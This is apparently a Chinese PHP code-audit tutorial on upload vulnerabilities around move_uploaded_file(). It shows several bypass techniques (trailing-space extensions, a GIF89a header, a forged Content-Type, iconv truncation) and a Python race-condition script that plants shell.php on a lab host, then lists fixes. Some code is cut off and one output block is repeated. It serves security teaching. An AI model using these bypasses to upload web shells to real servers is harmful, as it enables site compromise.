搜索关键函数:
move_uploaded_file() 接着看调用这个函数的代码是否存在为限制上传格式或者可以绕过。
1、未过滤或本地JS校验
2、黑名单扩展名过滤:
限制不够全面:IIS默认支持解析.asp,.cdx, .asa,.cer等。
例如下面的代码:
0){
echo "Error: " . $_FILES["file"]["error"] . "
";
}
else{
$black_file = explode("|", "php|jsp|asp"); //允许上传的文件类型组
$new_upload_file_ext = strtolower(getExt($_FILES["file"]["name"])); //取得被.隔开的最后字符串
if (in_array($new_upload_file_ext,$black_file)){
die();
}
else {
$filename = time().".".$new_upload_file_ext;
if(move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".$filename)){
echo "Upload Success";
}
}
}
?>
不被允许的文件格式.php,但是我们可以上传文件名为1.php (注意后面有一个空格)。
3、getimagesize函数验证:
只要在文件头添加GIF89a即可,我们来测试一下
var_dump(getimagesize(“phpinfo.php”));
然后phpinfo.php文件的内容为:
结果返回bool(false)
修改文件内容如下:
GIF89a
返回结果为
array(6) {
[0]=>
int(2573)
[1]=>
int(16188)
[2]=>
int(1)
[3]=>
string(27) “width=”2573″ height=”16188″”
[“channels”]=>
int(3)
[“mime”]=>
string(9) “image/gif”
}
4、文件头content-type验证绕过:
验证$_FILES[“file”][“type”]的值,这个是可控的。
5、函数误用导致上传绕过
以iconv()函数为例,在iconv转码的过程中,utf->gb2312(其他部分编码之间转换同样存在这个问题)会导致字符串被截断,如:$filename=”shell.php(hex).jpg”;(hex为0x80-0x99),经过iconv转码后会变成$filename=”shell.php “。
我们来测试一下,程序如下:
然后我们上传文件,添加空格,然后切换为Hex模式,将20修改为80~99的数。来看一下返回结果
Upload info.php Success
发现成功截断为info.php
6、竞争上传
主要涉及到的为copy函数。代码如下:
";
}
$new_upload_file_ext = strtolower(end(explode(".", $_FILES["file"]["name"])));
if(!in_array($new_upload_file_ext,$allowtype)){
#unlink($path.$filename);
echo "Disallow type";
}
?>
可以看到文件是先上传上去然后检查了扩展名,如果不在白名单内就删除,在一些CMS中会检查目录下所有非JGP的文件并删除。
我们可以生成临时文件(tmp.php)–>不断请求tmp.php在上层目录生成shell.php文件–>删除当前目录下tmp.php等非jpg文件,但留下了上层目录下的shell.php文件–>成功!
我们用Python多线程访问info.php,代码如下:
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import threading
import time
is_exit = False
def create_info():
global is_exit
while not is_exit:
url = "http://172.16.100.1/test/upload/info.php"
resp = requests.get(url)
for x in xrange(1,200):
t = threading.Thread(target=create_info)
t.setDaemon(True)
t.start()
print "start create_into threading %d" % x
def check_info():
global is_exit
print "start threading check shell.php:"
url = "http://172.16.100.1/test/upload/shell.php"
while True:
resp = requests.get(url)
if resp.status_code == 200:
is_exit = True
print "create file shell.php success."
break
t = threading.Thread(target=check_info)
t.setDaemon(True)
t.start()
try:
while t.isAlive():
pass
time.sleep(1)
except KeyboardInterrupt:
print 'stopped by keyboard'
结果如下:
.....
start create_into threading 197
start create_into threading 198
start create_into threading 199
start threading check shell.php:
create file shell.php success.
结果如下:
…..
start create_into threading 197
start create_into threading 198
start create_into threading 199
start threading check shell.php:
create file shell.php success.
正确的做法:
1)上传扩展名白名单,使用in_array()或 利用===检查。
$allow_file = explode(“|”, “gif|jpg|png”); //允许上传的文件类型组
$new_upload_file_ext = strtolower(end(explode(“.”, $_FILES[‘upload_file’][‘name’]))); //取得被.隔开的最后字符串
if (!in_array($new_upload_file_ext,$allow_file)){ //如果不在组类,提示处理
exit(“$new_upload_file_ext: 不允许上传”);
}
2)文件名重命名为随机数
3)Nginx上配置访问上传目录下jsp或者jspx文件返回403